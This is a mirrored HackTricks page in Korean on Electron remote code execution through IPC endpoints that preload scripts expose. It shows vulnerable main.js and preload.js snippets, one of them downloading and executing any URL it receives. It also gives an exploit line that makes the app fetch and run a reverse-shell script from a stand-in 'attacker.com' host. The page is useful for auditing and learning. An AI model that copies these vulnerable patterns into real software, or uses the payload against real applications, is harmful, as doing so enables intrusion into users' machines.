mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
100 lines
3.6 KiB
Markdown
100 lines
3.6 KiB
Markdown
# Electron contextIsolation RCE via IPC
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
preload 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약할 경우 RCE가 가능할 수 있습니다.
|
|
|
|
**이 예제들은 대부분 여기에서 가져왔습니다** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). 추가 정보는 비디오를 확인하세요.
|
|
|
|
## Example 0
|
|
|
|
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)에서 가져온 예제 (이 슬라이드에서 MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 확인할 수 있으며, 이는 매우 기본적인 예제입니다):
|
|
|
|
<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Example 1
|
|
|
|
`main.js`가 `getUpdate`를 수신 대기하고 **전달된 모든 URL을 다운로드하고 실행**하는 방법을 확인하세요.\
|
|
또한 `preload.js`가 **main에서 모든 IPC** 이벤트를 노출하는 방법도 확인하세요.
|
|
```javascript
|
|
// Part of code of main.js
|
|
ipcMain.on("getUpdate", (event, url) => {
|
|
console.log("getUpdate: " + url)
|
|
mainWindow.webContents.downloadURL(url)
|
|
mainWindow.download_url = url
|
|
})
|
|
|
|
mainWindow.webContents.session.on(
|
|
"will-download",
|
|
(event, item, webContents) => {
|
|
console.log("downloads path=" + app.getPath("downloads"))
|
|
console.log("mainWindow.download_url=" + mainWindow.download_url)
|
|
url_parts = mainWindow.download_url.split("/")
|
|
filename = url_parts[url_parts.length - 1]
|
|
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
|
|
console.log("downloadPath=" + mainWindow.downloadPath)
|
|
// Set the save path, making Electron not to prompt a save dialog.
|
|
item.setSavePath(mainWindow.downloadPath)
|
|
|
|
item.on("updated", (event, state) => {
|
|
if (state === "interrupted") {
|
|
console.log("Download is interrupted but can be resumed")
|
|
} else if (state === "progressing") {
|
|
if (item.isPaused()) console.log("Download is paused")
|
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
|
}
|
|
})
|
|
|
|
item.once("done", (event, state) => {
|
|
if (state === "completed") {
|
|
console.log("Download successful, running update")
|
|
fs.chmodSync(mainWindow.downloadPath, 0755)
|
|
var child = require("child_process").execFile
|
|
child(mainWindow.downloadPath, function (err, data) {
|
|
if (err) {
|
|
console.error(err)
|
|
return
|
|
}
|
|
console.log(data.toString())
|
|
})
|
|
} else console.log(`Download failed: ${state}`)
|
|
})
|
|
}
|
|
)
|
|
```
|
|
|
|
```javascript
|
|
// Part of code of preload.js
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data)
|
|
}
|
|
```
|
|
악용:
|
|
```html
|
|
<script>
|
|
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
|
|
</script>
|
|
```
|
|
## Example 2
|
|
|
|
프리로드 스크립트가 렌더러에 `shell.openExternal`을 호출할 수 있는 방법을 직접 노출하면 RCE를 얻을 수 있습니다.
|
|
```javascript
|
|
// Part of preload.js code
|
|
window.electronOpenInBrowser = (url) => {
|
|
shell.openExternal(url)
|
|
}
|
|
```
|
|
## Example 3
|
|
|
|
preload 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다.
|
|
```javascript
|
|
window.electronListen = (event, cb) => {
|
|
ipcRenderer.on(event, cb)
|
|
}
|
|
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data)
|
|
}
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|